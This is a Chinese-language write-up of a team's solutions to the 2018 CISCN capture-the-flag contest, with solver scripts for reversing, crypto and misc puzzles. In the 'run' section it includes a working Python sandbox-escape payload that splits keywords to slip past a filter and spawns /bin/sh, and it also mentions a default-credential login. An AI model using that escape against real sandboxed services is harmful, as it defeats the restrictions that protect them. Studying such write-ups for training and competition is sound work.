zoukankan      html  css  js  c++  java
  • 2018 CISCN Writeup

    10.0.0.55 Writeup

    Web

    0x01 easyweb

    解题思路

    题目很脑洞
    用户名admin 密码123456进去可得到flag(密码现在换了)

    解题脚本

    Reverse

    0x02 2ex

    解题思路

    题目给了一个ELF和一个out文件, out文件

    运行ELF文件, 发现它会根据我的输入给出对应输出, 格式与out文件中的内容相仿

    尝试直接爆破, 得到 flag{change53233}

    解题脚本

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    from pwn import *
    from string import printable
    
    context.log_level = 'error'
    
    def send(flag):
        io = process('qemu-mips mx', shell=True)
        io.sendline(flag)
        ret = io.recv().decode()
        io.close()
        return ret.strip()
    
    enc = '_r-+_Cl5;vgq_pdme7#7eC0='
    
    def solve(flag):
        n = len(flag) // 3
        for c in printable:
            ret = send(''.join(flag + [c]))
            if ret[0:len(flag)+n+1] == enc[0:len(flag)+n+1]:
                print(''.join(flag + [c]))
                if c != '}':
                    solve(flag + [c])
                else:
                    exit()
    
    solve([])
    

    Crypto

    0x03 crackme-c

    解题思路

    题目给了一个64位ELF文件, 拖入IDA分析

    发现该程序接受一个16位字符串, 然后用以下函数加密后与密文比较

    __int64 __fastcall encrypt(const void *flag, char *enc)
    {
      __int64 result; // rax
      unsigned __int64 i; // [rsp+20h] [rbp-10h]
      unsigned __int64 j; // [rsp+28h] [rbp-8h]
      unsigned __int64 k; // [rsp+28h] [rbp-8h]
    
      memcpy(enc, flag, 16uLL);
      for ( i = 0LL; i <= 8; ++i )
      {
        shuffle(enc);
        for ( j = 0LL; j <= 3; ++j )
          *(_DWORD *)&enc[4 * j] = another_wtf_array[((4 * j + 3 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 3]] ^ another_wtf_array[((4 * j + 2 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 2]] ^ another_wtf_array[((4 * j + 1 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 1]] ^ another_wtf_array[((4 * j + 16 * i) << 8) + (unsigned __int8)enc[4 * j]];
      }
      result = shuffle(enc);
      for ( k = 0LL; k <= 15; ++k )
      {
        result = wtf_array[256 * k + (unsigned __int8)enc[k]];
        enc[k] = result;
      }
      return result;
    }
    

    大部分步骤可以通过逆操作还原, 但异或的部分不好处理

    由数据特征, 得知enc的值应该在0~255之间, 针对每个异或的爆破次数最多为2**32次,可以接受

    编写脚本进行还原, 得到flag:CISCNt8z@foQ-891

    解题脚本

    爆破异或

    #include <stdio.h>
    #include <stdlib.h>
    #include "another_wtf_array.c"
    
    
    int main(int argc, char *argv[])
    {
        int _i = atoi(argv[1]), _j = atoi(argv[2]);
        unsigned _raw = strtoul(argv[3], NULL, 10);
        //printf("%d %d %d
    ", _i, _j, _raw);
        for (int i = 0; i < 256; i++) {
            for (int j = 0; j < 256; j++) {
                for (int k = 0; k < 256; k++) {
                    for (int l = 0; l < 256; l++) {
                        int base = 4 * _j + 16 * _i;
                        unsigned tmp = wtf[((base + 3) << 8) + i] ^
                            wtf[((base + 2) << 8) + j] ^
                            wtf[((base + 1) << 8) + k] ^
                            wtf[((base + 0) << 8) + l];
                        if (tmp == _raw) {
                            printf("%d-%d-%d-%d
    ", l, k, j, i);
                            return 0;
                        }
                    }
                }
            }
        }
    
        return 1;
    }
    
    from ast import literal_eval
    
    with open('./CISCN/wtf_array') as f:
        wtf_array = literal_eval(f.read())
    with open('./CISCN/another_wtf_array') as f:
        another_wtf_array = literal_eval(f.read())
    final_enc = [0xC3, 0xB1, 0x3, 0xFB, 0x2A, 0xAC, 0x46, 0x4B, 0x7C, 0xEE, 0xC7,
           0x74, 0x5D, 0x6D, 0xBE, 0x24]
    
    def shuffle(a):
        a1 = a[:]
        v2 = a1[1]
        a1[1] = a1[5] #第二列下移
        a1[5] = a1[9]
        a1[9] = a1[13]
        a1[13] = v2
    
        v3 = a1[2] #第一,三行的第三列交换
        a1[2] = a1[10]
        a1[10] = v3
    
        v4 = a1[6] #第二,四行的第三列交换
        a1[6] = a1[14]
        a1[14] = v4
    
        v5 = a1[3] #第四列下移
        a1[3] = a1[15]
        a1[15] = a1[11]
        a1[11] = a1[7]
        a1[7] = v5
        
        result = v5
        return a1
    
    def re_shuffle(array):
        a = array[:]
        l = shuffle(list(range(16)))
        n = 0
        
        def tmp(x):
            nonlocal n
            n += 1
            return l[n - 1]
        a.sort(key=tmp)
        return a
    
    def decrypt(i, j, final):
        final = final[0] << 24 | final[1] << 16 | final[2] << 8 | final[3]
        raw = subprocess.Popen(['./CISCN/woc', str(i), str(j), str(final)], stdout=subprocess.PIPE).stdout.read()
        return [int(x) for x in raw.decode().strip().split('-')]
        
    result = []
    for _ in range(len(enc)):
        tmp_array = wtf_array[256*_:256*_+256]
        result.append([tmp_array.index(i) for i in tmp_array if i==final_enc[_]][0])
        
    enc = re_shuffle(result)
    
    for i in range(9)[::-1]:
        for j in range(4)[::-1]:
            print(f'
    {i}-{j}', end='')
            enc[4*j:4*j+4] = decrypt(i, j, enc[4*j:4*j+4][::-1])
        enc = re_shuffle(enc)
    
    print(''.join(chr(i) for i in enc))
    

    0x04 flag_in_your_hand

    解题思路

    在script-min.js中可以看到ck函数,关键部分如下

    var a = [123, 101, 120, 48, 118, 104, 102, 120, 117, 108, 119, 124];
    if (s.length == a.length) {
        for (i = 0; i < s.length; i++) {
            if (a[i] - s.charCodeAt(i) != 3)
                return ic = false;
            }
        return ic = true;
    }
    

    于是写脚本算出s = "xbu-security",放进index.html。

    得到flag : l4uuMkiAk+MC13vLwGjhFg

    解题脚本

    a = [123, 101, 120, 48, 118, 104, 102, 120, 117, 108, 119, 124]
    s = [ chr(i-3) for i in a ]
    print ''.join(s)
    

    0x05 sm

    解题思路

    拿到题目发现flag被一个AES加密,加密的秘钥使我们要攻克的地方,同时看到生成了512个随机数,秘钥是一个512位二进制数,并对由秘钥指定的一部分随机数异或起来。本来认为这是一个数学上的题目,但是仔细观察发现,这512个随机数最后若干位全是0,且0的个数彼此都不相同,那么异或结果的最后一位仅与最后没有0的随机数有关,在确定最后没有0的随机数是否使用后,可运用相同的方式处理倒数第二位。最后还原出秘钥,通过AES解密后得到flag{shemir_alotof_in_wctf_fun!}

    解题脚本

    with open("ps", "r") as f:
    	nums = f.read().split()
    	nums = list(map(lambda a: int(a), nums))
    	group = [0 for i in range(512)]
    
    with open("r", "r") as f:
    	final = int(f.read())
    
    def zeros(num):
    	rev = bin(num)[2:][::-1]
    	for i in range(512):
    		if(rev[i] == '1'): return i
    
    def num2bin(num):
    	bnum = bin(num)[2:]
    	bnum = '0'*(512-len(bnum)) + bnum
    	return bnum
    
    for num in enumerate(nums):
    	z = zeros(num[1])
    	if group[z]: raise Exception('gg')
    	group[z] = num
    
    
    xorer = 0
    secret = [0 for i in range(512)]
    
    bfinal = num2bin(final)
    
    for i in range(511, -1, -1):
    	bxorer = num2bin(xorer)
    	if(bxorer[i] != bfinal[i]):
    		xorer = xorer ^ group[511-i][1]
    		secret[group[511-i][0]] = 1
    
    check_xor = 0
    for i in range(512):
    	if secret[i]:
    		check_xor = nums[i] ^ check_xor
    
    print(check_xor == final)
    #验证
    secret_int = int(''.join(map(lambda a:str(a), secret)),2)
    from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
    from Crypto.Cipher import AES
    import hashlib
    key=long_to_bytes(int(hashlib.md5(long_to_bytes(secret_int)).hexdigest(),16))
    aes_obj = AES.new(key, AES.MODE_ECB)
    import base64
    with open("ef", 'r') as f:
    	enc_flag = base64.b64decode(f.read().encode())
    print(aes_obj.decrypt(enc_flag))
    

    0x06 oldstreamgame

    解题思路

    分析得知flag最多有2**32种可能, 可以接受, 尝试爆破

    得到的数字转成16进制, 得到 flag{926201d7}

    解题代码
    #include <stdio.h>
    #include <stdbool.h>
    // gcc -fopenmp -O3 another.c -o another&&./another
    int main(void){
        unsigned enc[] = {32, 253, 238, 248, 164, 201, 244, 8, 63, 51, 29, 168, 35, 138, 229, 237, 8, 61, 240, 203, 14, 122, 131, 53, 86, 150, 52, 93, 244, 77, 124, 24, 108, 31, 69, 155, 206, 19, 95, 29, 182, 199, 103, 117, 213, 220, 186, 183, 167, 131, 228, 138, 32, 60, 25, 202, 37, 194, 47, 96, 174, 98, 179, 125, 232, 228, 5, 120, 227, 167, 120, 126, 180, 41, 115, 13, 149, 201, 225, 148, 66, 136, 235, 62, 46, 116, 125, 130, 22, 164, 120, 85, 7, 161, 55, 180, 19, 205, 105, 12};
        unsigned i, j, a, R, tmp, out, output, _i, lastbit;
        unsigned mask = 2751989908L;
        bool flag = false;
        #pragma omp parallel
        for (a = 0; a <= 0xFFFFFFFF; a++) {
            flag = false;
            R = a;
            //次数可以少一点,i上限取5左右即可
            for (i = 0; i < 100; i++) {
                tmp = 0;
                for (j = 0; j < 8; j++) {
                    output = (R << 1) & 0xffffffff;
                    _i = (R & mask) & 0xffffffff;
                    lastbit = 0;
                    while (_i != 0) {
                        lastbit ^= (_i & 1);
                        _i >>= 1;
                    }
                    output ^= lastbit;
    
                    R = output, out = lastbit;
                    tmp = (tmp << 1) ^ out;
                }
                if (enc[i] != tmp) {
                    flag = true;
                    break;
                }
            }
            if (!flag) {
                printf("%u
    ", a);
            }
        }
    }
    

    Misc

    0x07 picture

    解题思路

    用binwalk扫一下没毛病,用010打开搜jpg文件尾FFD9时发现后面还有一堆数据。

    于是binwalk -e分离,将数据尝试base64解码,发现PK字样,联想到压缩包,但是格式有问题。将开头K和P互换之后尝试解压,需要密码,如下图。

    pictue

    提示password是一个python的除零报错,内容是integer division or modulo by zero,即密码。

    解压成功得到code文件,file一下发现是uuencoded or xxencoded,于是将

    G0TE30TY[,$,R-S8S,D0V,#(V0D8U,S$R1#5!0S%!,T1&-3-#1D)]
    

    尝试解码,发现是uuencode,得到CISCN{0C27632D6026BF5312D5AC1A3DF53CFB}

    解题脚本

    0x08 验证码

    签到拿flag

    0x09 run

    解题思路

    python jail类型的题目, 很有趣

    题目过滤了大量关键词如 ls exec 并且import几乎完全失效

    Google得知可以通过().class.bases[0].subclasses()获取当前加载的类

    再通过catch_warnings类进行代码执行, 依葫芦画瓢写出代码, getshell

    得到flag: ciscn{d5333cdda7d7015818c39370958eabc2}

    解题代码

    w = ().__class__.__bases__[0].__subclasses__()
    o =  w[59].__enter__.__func__.__getattribute__('__global' + 's__')['s'+'ys'].modules['o'+'s']
    s = o.__getattribute__('sy' + 'stem')
    s('/bin/sh')
    

    0x10 验证码破解-增强版

    解题思路

    这题我们用的是非预期解,四个人在四台电脑上同时答题,得到flag。

    ciscn{h171ghlh7byd1dyl7h277hr2irhb1ffg}

    pijie

    解题脚本

    作者: 10.0.0.55 @ L1B0,98年生的猫,schemr,vimer

    出处:http://www.cnblogs.com/L1B0/

    如有转载,荣幸之至!请随手标明出处;

  • 相关阅读:
    外贸术语缩写大全简写解释
    免费Shopify主题Dawn
    语音搜索对未来SEO的影响
    基于Prometheus和Grafana监控redis,Oracle,mysql,pg以及sqlserver的方法总结
    使用Grafana 监控 SQLSERVER数据库
    使用influxdb以及Grafana监控vCenter的操作步骤
    Grafana监控Redis的使用情况
    OpenPower服务使用node-exporter prometheus以及grafana进行性能监控的流程
    Mysql localhost 无法登录 root用户的处理过程
    总结: Redis 查看key大小的简单总结
  • 原文地址:https://www.cnblogs.com/L1B0/p/8987288.html
Copyright © 2011-2022 走看看